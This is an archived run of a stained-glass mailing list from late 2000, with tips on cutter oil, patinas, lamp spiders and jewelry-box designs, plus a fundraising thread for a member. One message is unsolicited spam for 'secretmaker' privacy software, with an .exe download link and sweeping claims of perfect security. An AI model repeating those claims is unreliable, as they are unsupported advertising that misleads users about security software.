From owner-glass Fri Dec  1 03:30:45 2000
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From: "Mike Savad" <esavad@home.com>
To: "Zeynep Akgunay" <zakgunay@yahoo.com>,
Content-Type: text/plain;
Subject: RE: Cutter oil
Date: Thu, 30 Nov 2000 17:42:44 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

i use a 50-50 mixture of 3-in-1 oil, and kerosene. though i head just
kerosene works pretty well. i think the oil helps thicken it up a little and
prevents any rust from forming.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Zeynep Akgunay [mailto:zakgunay@yahoo.com]
> Sent: Thursday, November 30, 2000 12:43 AM
> To: glass@bungi.com
> Subject: Cutter oil
>
>
>     Hi,
> This may sound like a stupid question but there you
> go..what kind of oil(other than the regular cutting
> oil made for this purpose) can I use in my Toyo pistol
> cutter? You see there was a leak on the bottle,and now
> the whole oil is gone.As I now live in China it will
> take me some time before I can get the cutting oil
> from the US.Thanks.Zeynep
>
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Shopping - Thousands of Stores. Millions of Products.
> http://shopping.yahoo.com/
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>

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From owner-glass Fri Dec  1 03:31:18 2000
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From: "Mike Savad" <esavad@home.com>
To: <PookyPook@aol.com>
Content-Type: multipart/alternative;
Subject: RE: Strange Question About Patina
Date: Sun, 26 Nov 2000 10:38:31 -0500
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it was difficult to do but i used 2 patina's on the fish panel. all the fish
are copper, and the background is black. but it's difficult to keep the
borders seperate. and in the end it's hard to notice it at all. the hershey
kiss box doesn't count because it was a 2 patina step process, to make it
brown.


---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

  -----Original Message-----
  From: PookyPook@aol.com [mailto:PookyPook@aol.com]
  Sent: Sunday, November 26, 2000 8:56 AM
  To: glass@bungi.com
  Subject: Strange Question About Patina


  Okay, just to make sure everyone knows how weird I can get, gotta
question...
  Has anyone ever patina-ed a piece with two patinas? I have a black panther
on
  a grassy/sand background and thought it would look best with black patina
for
  the panther and copper for the rest. Strange, huh!!!

  Ruth
  "If we quit voting will they all go away?"
  http://members.aol.com/RTSkeeter
  ICQ11716411



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<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D320463415-26112000><FONT face=3DArial color=3D#0000ff =
size=3D2>it was=20
difficult to do but i used 2 patina's on the fish panel. all the fish =
are=20
copper, and the background is black. but it's difficult to keep the =
borders=20
seperate. and in the end it's hard to notice it at all. the hershey kiss =
box=20
doesn't count because it was a 2 patina step process, to make it=20
brown.</FONT></SPAN></DIV>
<DIV><SPAN class=3D320463415-26112000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D320463415-26112000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D320463415-26112000><FONT face=3DArial color=3D#0000ff =

size=3D2>---Mike Savad</FONT></SPAN></DIV>
<DIV><SPAN class=3D320463415-26112000></SPAN>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<P><FONT size=3D2>---<BR>Mike's Stained Glass - <A target=3D_blank=20
href=3D"http://www.geocities.com/Paris/1141/">http://www.geocities.com/Pa=
ris/1141/</A><BR>Contains=20
a wealth of stained glass information, stained glass tips, stained glass =

instruction, and many, many stained glass links.<BR>---<BR>11-7-00 - New =
Stuff=20
Added: How to solder a nice bead, and several new projects. You can now =
search=20
my site with a built in engine.</FONT></P>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> PookyPook@aol.com=20
  [mailto:PookyPook@aol.com]<BR><B>Sent:</B> Sunday, November 26, 2000 =
8:56=20
  AM<BR><B>To:</B> glass@bungi.com<BR><B>Subject:</B> Strange Question =
About=20
  Patina<BR><BR></FONT></DIV><FONT size=3D3>Okay, just to make sure =
everyone knows=20
  how weird I can get, gotta question... <BR>Has anyone ever patina-ed a =
piece=20
  with two patinas? I have a black panther on <BR>a grassy/sand =
background and=20
  thought it would look best with black patina for <BR>the panther and =
copper=20
  for the rest. Strange, huh!!! <BR><BR></FONT><FONT lang=3D0 =
face=3DArial=20
  color=3D#000000 size=3D2 FAMILY=3D"SANSSERIF">Ruth <BR>"If we quit =
voting will they=20
  all go away?" <BR>http://members.aol.com/RTSkeeter <BR>ICQ11716411=20
<BR><BR></BLOCKQUOTE></FONT></BODY></HTML>

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From owner-glass Fri Dec  1 04:20:39 2000
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	for rglass-42; Fri, 1 Dec 2000 03:59:32 -0800 (PST)
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Jewely box for guys
Date: Tue, 28 Nov 2000 17:40:26 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

i had a discussion a while back about jewelry boxes. i was wondering: what
do guys use for jewelry boxes. Mainly the dudes, that wear jewerly, (where
ever placed). i've been thinking, what colors are best for guys, but i
could'nt figure out if guys would need dividers and trays, etc.

so are there any guys out there, that use boxes for jewelry? if so, what
kind? (don't say tupperware). and what colors are preferred. - i usually
will pick, browns, blacks, grays, clears, etc. maybe this will spark a few
new ideas...

currently i've aready designed presents for my bosses, and if anyone is
curious:

the foreman (girl), a pink irr, box with a tray (the one with the bevel top
that i have on my page).
Production manager, a treasure chest, using clear driftwood, and armstrong
red cl, irr.
and the president, a baseball diamond box, since he loves that stupid sport.


---Mike Savad



---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

----
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From owner-glass Fri Dec  1 05:13:43 2000
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From: "Mike Savad" <esavad@home.com>
To: <PookyPook@aol.com>,
Content-Type: multipart/alternative;
Subject: RE: web backgrounds
Date: Thu, 30 Nov 2000 17:27:08 -0500
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use my links page 5 - i believe, i have a bunch of clipart related sites
there.


---Mike Savad




---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

  -----Original Message-----
  From: PookyPook@aol.com [mailto:PookyPook@aol.com]
  Sent: Thursday, November 30, 2000 10:20 AM
  To: glass@bungi.com
  Subject: web backgrounds


  Does anyone know of a good source of stained glass for background for a
web
  site?  I lost all of my clip art backgrounds that I had! :-(((

  Ruth
  "If we quit voting will they all go away?"
  http://members.aol.com/RTSkeeter
  ICQ11716411



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charset=3Diso-8859-1">
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<BODY>
<DIV><SPAN class=3D340382622-30112000><FONT face=3DArial color=3D#0000ff =
size=3D2>use my=20
links page 5 - i believe, i have a bunch of clipart related sites=20
there.</FONT></SPAN></DIV>
<DIV><SPAN class=3D340382622-30112000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D340382622-30112000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D340382622-30112000><FONT face=3DArial color=3D#0000ff =

size=3D2>---Mike Savad</FONT></SPAN></DIV>
<DIV><SPAN class=3D340382622-30112000></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D340382622-30112000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D340382622-30112000><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<P><FONT size=3D2>---<BR>Mike's Stained Glass - <A target=3D_blank=20
href=3D"http://www.geocities.com/Paris/1141/">http://www.geocities.com/Pa=
ris/1141/</A><BR>Contains=20
a wealth of stained glass information, stained glass tips, stained glass =

instruction, and many, many stained glass links.<BR>---<BR>11-7-00 - New =
Stuff=20
Added: How to solder a nice bead, and several new projects. You can now =
search=20
my site with a built in engine.</FONT></P>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> PookyPook@aol.com=20
  [mailto:PookyPook@aol.com]<BR><B>Sent:</B> Thursday, November 30, 2000 =
10:20=20
  AM<BR><B>To:</B> glass@bungi.com<BR><B>Subject:</B> web=20
  backgrounds<BR><BR></FONT></DIV><FONT face=3Darial,helvetica><FONT =
size=3D3>Does=20
  anyone know of a good source of stained glass for background for a web =

  <BR>site? &nbsp;I lost all of my clip art backgrounds that I had! =
:-(((=20
  <BR><BR></FONT><FONT lang=3D0 face=3DArial color=3D#000000 size=3D2=20
  FAMILY=3D"SANSSERIF">Ruth <BR>"If we quit voting will they all go =
away?"=20
  <BR>http://members.aol.com/RTSkeeter <BR>ICQ11716411=20
<BR><BR></BLOCKQUOTE></FONT></FONT></BODY></HTML>

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From owner-glass Fri Dec  1 11:02:55 2000
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: stainedglasslamps@csinet.net, glass@bungi.com
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In a message dated 11/30/00 4:13:17 PM Pacific Standard Time, 
stainedglasslamps@csinet.net writes:

> I would like to ask if any one knows where I can order a 10" spider for =
> a lamp? 

I have never seen a 10" spider but you can easily make one by slipping tubing 
over the legs of a smaller spider. Bring your spider with you and check a 
hobby store for a selection of tubing.

Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
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From owner-glass Fri Dec  1 11:03:55 2000
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X-Path: secretmaker.com!sales
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To: <glass@bungi.com>
Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_015E_01C05BA2.28E798B0"
Subject: make your privacy secret
Date: Fri, 1 Dec 2000 14:22:34 +0100
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Organization: sales - secretmaker ag
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      =20

     =20

                                   deutscher text  weiter unten


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      =20
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        =A9 2000, secretmaker ag . All rights reserved  =20




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      <P><FONT color=3D#ff0033 face=3DArial><B>"make your privacy=20
      secret"</B></FONT></P>
      <P><FONT color=3D#ffffff><B><FONT face=3DArial size=3D2>your =
transparency in the=20
      internet - when a nightmare comes true</FONT></B></FONT></P>
      <P align=3Djustify><FONT color=3D#ffffff face=3DArial =
size=3D2>There are many=20
      reasons why you should be interested in keeping your anonymity =
when=20
      surfing. Whoever moves around in the internet should be aware, =
that their=20
      personal digital footprints are left everywhere. Based on this=20
      information, it is very easy to create a perfect profile of your =
habits=20
      and interests. You become virtually transparent in the=20
internet.</FONT></P>
      <P align=3Djustify><FONT color=3D#ffffff face=3DArial size=3D2>The =
companies=20
      working in the profiling business, have unlimited resources to =
file and=20
      consolidate the data collected about you in the internet. The =
Tracking=20
      information is pure cash for their business and in the mean time, =
they=20
      probably know you better than you know yourself.</FONT></P>
      <P align=3Djustify><FONT face=3DArial><FONT color=3D#ffffff=20
      size=3D2><B>secretmaker</B> believes that you are entitled to keep =
your=20
      privacy when surfing in the internet. We therefore developed=20
      <B>secretmaker</B>, a fantastic, exclusive and worldwide unique =
internet=20
      security software, to protect you.</FONT></FONT></P>
      <P align=3Djustify><FONT face=3DArial><FONT color=3D#ffffff =
size=3D2><B>How does=20
      secretmaker work?<BR>secretmaker</B> changes the specific =
information=20
      about your computer before it even leaves your pc. Your =
information is=20
      masked in a way that it can no longer be assigned to a=20
      profile.</FONT></FONT></P>
      <P align=3Djustify><FONT color=3D#ffffff face=3DArial size=3D2>To =
achieve the=20
      masking of your data, <B>secretmaker</B> permanently produces and =
sends=20
      out phantoms of the data. In addition <B>secretmaker</B> deletes =
all=20
      unwanted and not needed cookies, each time you close the browser.=20
      <B>secretmaker</B> is doubtlessly the most perfect tool to =
guarantee=20
      internet security and not even we will know you.</FONT></P>
      <P align=3Dcenter><FONT color=3D#000000 face=3DArial =
size=3D2><FONT=20
      color=3D#ffffff><FONT face=3DArial><FONT size=3D2>free of =
charge<BR></FONT><FONT=20
      size=3D2><B>TRIALVERSION</B></FONT><FONT size=3D2>=20
      <BR></FONT></FONT></FONT></FONT><FONT color=3D#ffffff =
size=3D2><FONT=20
      color=3D#000000 face=3DArial><A=20
      =
href=3D"http://www.secretmaker.com/downloads/products/secretmaker.exe"><I=
MG=20
      align=3Dbaseline alt=3D"" border=3D0 hspace=3D0=20
      =
src=3D"cid:015601c05b99$c43b04e0$0e01020a@sm.com"></A></FONT></FONT></P>
      <P align=3Dcenter><FONT color=3D#ffffff size=3D2><FONT=20
      face=3DArial>or<BR></FONT><A =
href=3D"http://www.secretmaker.com"><FONT=20
      color=3D#ff0000 face=3DArial=20
      size=3D5>www.secretmaker.com</FONT></A><BR><BR></P></FONT>
      <P align=3Dcenter><FONT color=3D#ffffff face=3DArial =
size=3D2><B><IMG height=3D1=20
      src=3D"cid:015801c05b99$c43b04e0$0e01020a@sm.com" =
width=3D400></B></FONT></P>
      <P align=3Dcenter><FONT color=3D#ffffff =
size=3D2><B><BR></B></FONT></P>
      <P align=3Dcenter><FONT color=3D#ffffff size=3D2><B><A=20
      href=3D"http://www.secretmaker.com/"><FONT face=3DArial><IMG =
border=3D0=20
      height=3D99 src=3D"cid:015501c05b99$c43b04e0$0e01020a@sm.com"=20
      width=3D369></FONT></A><BR></B></FONT></P>
      <P><FONT color=3D#ff0033 face=3DArial><B>"make your privacy=20
      secret"</B></FONT></P>
      <P><FONT color=3D#ffffff size=3D2><B><BR><FONT face=3DArial>der =
gl=E4serne surfer=20
      - ein alptraum ist gegenw=E4rtig</FONT></B></FONT></P>
      <P align=3Djustify><FONT color=3D#ffffff face=3DArial size=3D2>es =
gibt unz=E4hlige=20
      gr=FCnde, seine anonymit=E4t wahren zu wollen. jeder der sich im =
internet=20
      bewegt, hinterl=E4sst in seinen digitalen spuren eindeutige=20
      benutzerinformationen. mit hilfe dieser informationen lassen sich=20
      umfassende interessenprofile erstellen. jeder wird so zum =
gl=E4sernen=20
      surfer.</FONT></P>
      <P align=3Djustify><FONT color=3D#ffffff face=3DArial =
size=3D2>f=FCr das analysieren=20
      ihres verhaltens wird kein aufwand gescheut. ihre interessen sind =
f=FCr=20
      datensammler und adressh=E4ndler pures gold wert. diese kennen sie =
meist=20
      besser als der engste vertraute.</FONT></P>
      <P align=3Djustify><FONT color=3D#ffffff face=3DArial size=3D2>wir =
von=20
      <B>secretmaker</B> sind der =FCberzeugung, dass jeder ein recht =
auf die=20
      beibehaltung seiner privatsph=E4re hat und haben f=FCr sie den =
secretmaker mit=20
      grossem aufwand entwickelt.</FONT></P>
      <P align=3Djustify><FONT face=3DArial><FONT color=3D#ffffff =
size=3D2><B>wie=20
      funktioniert secretmaker?<BR></B></FONT><FONT color=3D#ffffff =
size=3D2>schon=20
      bevor ihre eindeutigen benutzerinformationen den computer =
verlassen,=20
      werden sie von <B>secretmaker</B> maskiert, so dass diese nicht =
mehr einem=20
      profil zugeordnet werden k=F6nnen.</FONT></FONT></P>
      <P align=3Djustify><FONT face=3DArial><FONT color=3D#ffffff=20
      size=3D2><B>secretmaker</B> benutzt dabei sich steht's =E4ndernde =
masken=20
      sogenannte phantome. zus=E4tzlich l=F6scht <B>secretmaker</B> =
automatisch nach=20
      beendung des browsers alle unben=F6tigten cookies. =
<B>secretmaker</B>=20
      arbeitet so perfekt, dass nicht mal wir Sie erkennen. =
</FONT></FONT></P>
      <P align=3Dcenter><FONT face=3DArial size=3D2><FONT =
face=3DArial><FONT=20
      color=3D#ffffff size=3D2>kostenlose</FONT><BR><FONT =
color=3D#ffffff=20
      size=3D2><B>PROBEVERSION</B>&nbsp;<BR></FONT></FONT></FONT><FONT =
face=3DArial=20
      size=3D2><A=20
      =
href=3D"http://www.secretmaker.com/downloads/products/secretmaker.exe"><I=
MG=20
      align=3Dbaseline alt=3D"" border=3D0 hspace=3D0=20
      =
src=3D"cid:015601c05b99$c43b04e0$0e01020a@sm.com"></A><BR></FONT></P><FON=
T=20
      color=3D#ffffff>
      <P align=3Dcenter><FONT face=3DArial =
size=3D2>oder</FONT><BR>&nbsp;<FONT=20
      color=3D#000000 face=3DArial size=3D2><A =
href=3D"http://www.secretmaker.com"><FONT=20
      color=3D#ff0000 face=3DArial =
size=3D5>www.secretmaker.com</FONT></A></FONT></P>
      <P align=3Dcenter>&nbsp;</P>
      <P align=3Dcenter><FONT color=3D#000000 face=3DArial =
size=3D2><FONT color=3D#ffffff=20
      face=3DArial size=3D2><B><IMG height=3D1=20
      src=3D"cid:015801c05b99$c43b04e0$0e01020a@sm.com"=20
      width=3D400></B></FONT></FONT></P>
      <P align=3Djustify><FONT size=3D2><FONT color=3D#ffffff><B><FONT=20
      face=3DArial>Greetings</FONT></B><BR></FONT><FONT =
color=3D#ffffff></FONT><FONT=20
      face=3DArial size=3D2>On occasion, secretmaker ag will issue =
E-mail alerts to=20
      deliver important security and company news. Today's subject is =
profiling=20
      and tracking our habits in the Internet and what this means for =
you.=20
      <BR><BR></FONT></FONT><FONT color=3D#ffffff><FONT size=3D2><FONT=20
      face=3DArial><B>Privacy Statement</B><BR>secretmaker ag respects =
your=20
      privacy. secretmaker ag does not share, sell, rent or trade our =
customer's=20
      names or addresses to anyone. If you do not want to receive future =
E-mail=20
      messages from secretmaker, </FONT></FONT><A=20
      href=3D"mailto:newsletter-leave@secretmaker.com"><FONT =
color=3D#ff0000><FONT=20
      color=3D#ff6666 face=3DArial size=3D2><B>simply click=20
      here</B></FONT></FONT></A><FONT face=3DArial size=3D2> and send =
the mail=20
      without any subject or message. If you are using e.g. hotmail in a =

      browser, create a reply mail with the recipient<BR>"</FONT><A=20
      href=3D"mailto:newsletter-leave@secretmaker.com"><FONT =
color=3D#ffffff=20
      face=3DArial =
size=3D2>newsletter-leave@secretmaker.com</FONT></A><FONT=20
      face=3DArial size=3D2>"</FONT></FONT></P>
      <P>&nbsp;</P></FONT></DIV></TD>
    <TD align=3Dleft height=3D652 vAlign=3Dtop width=3D150>
      <P align=3Dcenter><BR><BR><FONT face=3DArial><FONT=20
      =
color=3D#ffffff><BR></FONT></FONT><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR=
><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><A=20
      =
href=3D"http://www.secretmaker.com/downloads/products/secretmaker.exe"><B=
R><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR=
><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR></A>&nbsp;</P>
      <P align=3Dcenter>&nbsp;</P>
      <P align=3Dcenter><BR><BR><BR><FONT face=3DArial><BR></FONT><FONT=20
      face=3DArial>&nbsp;</FONT></P></TD></TR>
  <TR>
    <TD align=3Dleft height=3D22 vAlign=3Dtop width=3D300><FONT=20
      face=3DArial>&nbsp;</FONT></TD>
    <TD align=3Dmiddle height=3D22 vAlign=3Dcenter width=3D481><SPAN=20
      class=3Dnormaltext><FONT face=3DArial>=A9 2000, </FONT><A=20
      href=3D"http://www.secretmaker.com/" target=3D_blank><FONT =
color=3D#ffffff=20
      face=3DArial>secretmaker ag </FONT></A><FONT face=3DArial>. All =
rights=20
      reserved</FONT></SPAN></TD>
    <TD align=3Dleft height=3D22 vAlign=3Dtop width=3D150><FONT=20
      face=3DArial>&nbsp;</FONT></TD></TR></TBODY></TABLE>
<P>&nbsp;</P></DIV></FONT></BODY></HTML>

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From owner-glass Fri Dec  1 13:33:08 2000
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Received: by daver.bungi.com
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	id <m141xO0-0000jma@daver.bungi.com>
	for rglass-42; Fri, 1 Dec 2000 13:06:28 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: netzero.net!heesunstainedglassltd
From: "heesunstainedglassltd" <heesunstainedglassltd@netzero.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: 10" Spider
Date: Fri, 1 Dec 2000 15:52:48 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Get a regular 3 or 4 sided spider that is unassembled, then take a trip to
your local welding supply store and buy some brass rod the same size as the
"spider legs"  cut to length and assemble spider.

Hope this helps.

Robert
Hee Sun Stained Glass, Ltd.
HOLIDAY OPEN HOUSE THIS SAT  12/2/200    12-6 PM
324 Main Street
Reisterstown , MD 21136
410-833-3007
info@heesun.com
sales@heesun.com
http://www.heesun.com
Custom Design Studio
Supplies & Classes for Stained & Fused Glass & Mosaics


_______________________________________________
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NetZero provides FREE Internet Access and Email
http://www.netzero.net/download/index.html
----
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From owner-glass Fri Dec  1 16:11:15 2000
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	id <m14207x-000113a@daver.bungi.com>
	for rglass-42; Fri, 1 Dec 2000 16:02:05 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: northlights.co.uk!toby
From: "Toby" <toby@northlights.co.uk>
To: Bungi <glass@bungi.com>
Content-Type: text/plain; charset=US-ASCII
Subject: Help for Lee Boe in Florida
Date: Fri, 1 Dec 2000 23:36:07 -0000
Message-ID: <200012012349.eB1NnVb08519@mercury.nildram.co.uk>
Precedence: bulk


Dear Bungi Friends,

I have spent a large part of today (Friday) responding to various 
queries and questions about Lee and  how best to help her.
I have also made contact by telephone with her Medical 
Practitioner, Dr. Robert Ford in Sarasota.

He is listed on the www.webmd.com in the State of Florida and 
appears to be a straight forward kind of doctor, not quite used to  
reverberations about one of his patients reaching as far as the 
United Kingdom. Anyhow, I have told him about that he will be 
Lee's Post Office for the next couple of weeks, he has agreed to 
this, he has agreed to account for the actions of his surgery vz 
Lee. He and I have set up a further telephone appointment next 
Wednesday when we can review  everything, e.g. post, Lee's 
condition and plans for the future. Lee has agreed to me being 
authorized to discuss all and everything with Dr. Ford.

I think I have tried to put everything in place to ensure that I too 
keep YOUR trust and justify your generosity and help. I too want to 
make sure that whatever happens and whatever is offered and given 
is going to be a genuine turn-around for one of US.
Lee has already arrived in Sarasota and made it to her Doctor's 
office. She called me (call-collect ) from there. She sounds calm, 
determined, sensible and rational. I can't blame her for wanting to 
get the hell out of the place where she was in and Bungi is not the 
place for me to repeat the happenings she recounted to me of what 
was going on at the "home" .... some of which I could hear in the 
back-ground when I was talking to her on the telephone these last 
2 weeks.

I am totally shocked to my foundations that anyone could find 
themself in such a situation, just because they suffer physical 
disability, have a strong independent mind and have financial 
problems. I thought that this only existed in the Old Communist 
World (of which I have considerable experience!!).

Thank you enormously to each and every one of you who has 
alread offered, pledged and sent help to Lee. I will not embarrass 
you to mention you personally. You know who you are. I have yet 
to reply to one or two people who has given an "oblique" response. 
To others of you who have just "done it" that I don't know about -
thank you too. To those of you who are still thinking about it - 
thank you for the thought. I hope you may translate it into action.

Let me repeat once again..... had it not been for Bungi people 
financing ME.... you would never have met me in USA last year. I 
am poor too but I care about each and every one of you. You help 
me - I help you. What goes around - comes around.... at the end of 
the day. I believe in you - just as much as you have believed in me. 
I may have been silent for a little while, but I am still very much 
there.
Thank you
Thank you Glenna for allowing my thread and taking possible flak

Elisabeth 'n Toby in UK
plus Jenny and Meric Monterey 
----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
----
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From owner-glass Fri Dec  1 21:54:20 2000
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Received: by daver.bungi.com
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	id <m1425NY-0000gWa@daver.bungi.com>
	for rglass-42; Fri, 1 Dec 2000 21:38:32 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Mike Savad <esavad@home.com>, Bungi Glass <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Jewely box for guys
Date: Sat, 02 Dec 2000 00:37:29 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: Grendel Studio
Precedence: bulk

Sports.  Blue.

Actually, if you could do a baseball diamond, you could do a football field, a
soccer field, a putting green complete with flag, etc.  90% of all men are
sports mad.  Place a tiny sailboat on the top, or a fox or horse or a golf
club.  Make it in the shape of a baseball, basket ball, football, soccer ball,
golf ball, etc.

Also, most people don't feel comfortable dealing with color - not knowing that
doing neutrals well is way harder than color co-ordination, but for some reason
(ubiquitous indigo of blue jeans?) most people, especially men, feel
comfortable with blue.

And remember, never make sweeping generalizations!!!  :-) - Cec

Mike Savad wrote:

> i had a discussion a while back about jewelry boxes. i was wondering: what
> do guys use for jewelry boxes. Mainly the dudes, that wear jewerly, (where
> ever placed). i've been thinking, what colors are best for guys, but i
> could'nt figure out if guys would need dividers and trays, etc.
>
> so are there any guys out there, that use boxes for jewelry? if so, what
> kind? (don't say tupperware). and what colors are preferred. - i usually
> will pick, browns, blacks, grays, clears, etc. maybe this will spark a few
> new ideas...
>
> currently i've aready designed presents for my bosses, and if anyone is
> curious:
>
> the foreman (girl), a pink irr, box with a tray (the one with the bevel top
> that i have on my page).
> Production manager, a treasure chest, using clear driftwood, and armstrong
> red cl, irr.
> and the president, a baseball diamond box, since he loves that stupid sport.
>
> ---Mike Savad
>
> ---
> Mike's Stained Glass - http://www.geocities.com/Paris/1141/
> Contains a wealth of stained glass information, stained glass tips, stained
> glass instruction, and many, many stained glass links.
> ---
> 11-7-00 - New Stuff Added: How to solder a nice bead, and several new
> projects. You can now search my site with a built in engine.
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Sat Dec  2 00:29:38 2000
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	for rglass-42; Sat, 2 Dec 2000 00:15:49 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: urim.org.il!rangreen
From: "Ran Green" <rangreen@urim.org.il>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Gatewayed mail message
Date: Sat, 2 Dec 2000 10:10:48 +0200
Message-ID: <1970Jan1.000.0>
Precedence: bulk

f`z di` decrd nxeaz glwim arivea MIME.

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I am looking for a bevel grinder to make bevels in any shape and olso=20
something to polish the eadg of the glass to shin without useing coper =
foil .
ran.

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1255" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3D"Arial (hebrew)" size=3D2>I am looking for a bevel =
grinder to make=20
bevels in any shape and olso </FONT></DIV>
<DIV><FONT face=3D"Arial (hebrew)" size=3D2>something to polish the eadg =
of the=20
glass to shin without useing coper foil .</FONT></DIV>
<DIV><FONT face=3D"Arial (hebrew)" =
size=3D2>ran.</FONT></DIV></BODY></HTML>

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From: CarolSutherland@webtv.net (Carol Sutherland)
To: toby@northlights.co.uk (Toby)
Content-Type: Text/Plain; Charset=US-ASCII
Subject: Re: Help for Lee Boe in Florida
Date: Sat, 2 Dec 2000 13:41:31 -0800 (PST)
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References: <<toby@northlights.co.uk>>
Precedence: bulk

My heart goes out to Lee and to the friends who are trying to help her.
However, I tried to get Dr. Ford's listing on the website you named AND
WAS UNABLE TO DO SO.  How did you?
I hate to be untrusting!!
Smiles...




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From: Joan <beadnik@yahoo.com>
To: Carol Sutherland <CarolSutherland@webtv.net>,
Content-Type: text/plain; charset=us-ascii
Subject: Re: Help for Lee Boe in Florida
Date: Sun, 3 Dec 2000 02:29:19 -0800 (PST)
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Precedence: bulk

I was able to find a listing for a Dr. Robert Ford in
Sarasota at:

http://www.webmd.thehealthpages.com/search/servlet/Dispatcher?hpname_nextPage=detail&hpname_recnum=25122265

Joan

--- Carol Sutherland <CarolSutherland@webtv.net>
wrote:
> My heart goes out to Lee and to the friends who are
> trying to help her.
> However, I tried to get Dr. Ford's listing on the
> website you named AND
> WAS UNABLE TO DO SO.  How did you?
> I hate to be untrusting!!
> Smiles...
> 
> 
> 
> 
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: favorite colors
Date: Sun, 3 Dec 2000 13:21:57 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

this is a general question for everyone...

what is your favorite color?
what is your favorite color that you would wear?
and are you a guy or a gal?


mine is purple, always has been, though i would'nt wear it. i would wear
something in the blue family.

i'm asking mainly for future reference, what colors would apply to how many
people. for me, i may make a blue box, but use a purple gem as an accent.

currently i'm not sure what i'll do with the information, but i'm sure it
has a use somewhere.

thanks in advance

---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
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From owner-glass Sun Dec  3 12:02:56 2000
